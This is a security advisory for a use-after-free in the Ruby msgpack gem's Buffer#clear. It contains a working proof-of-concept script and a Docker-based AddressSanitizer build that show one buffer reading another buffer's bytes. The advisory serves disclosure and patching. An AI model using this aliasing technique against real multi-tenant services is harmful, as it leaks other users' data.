CVE-2026-54522

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

• msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
• Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
• A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
• Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)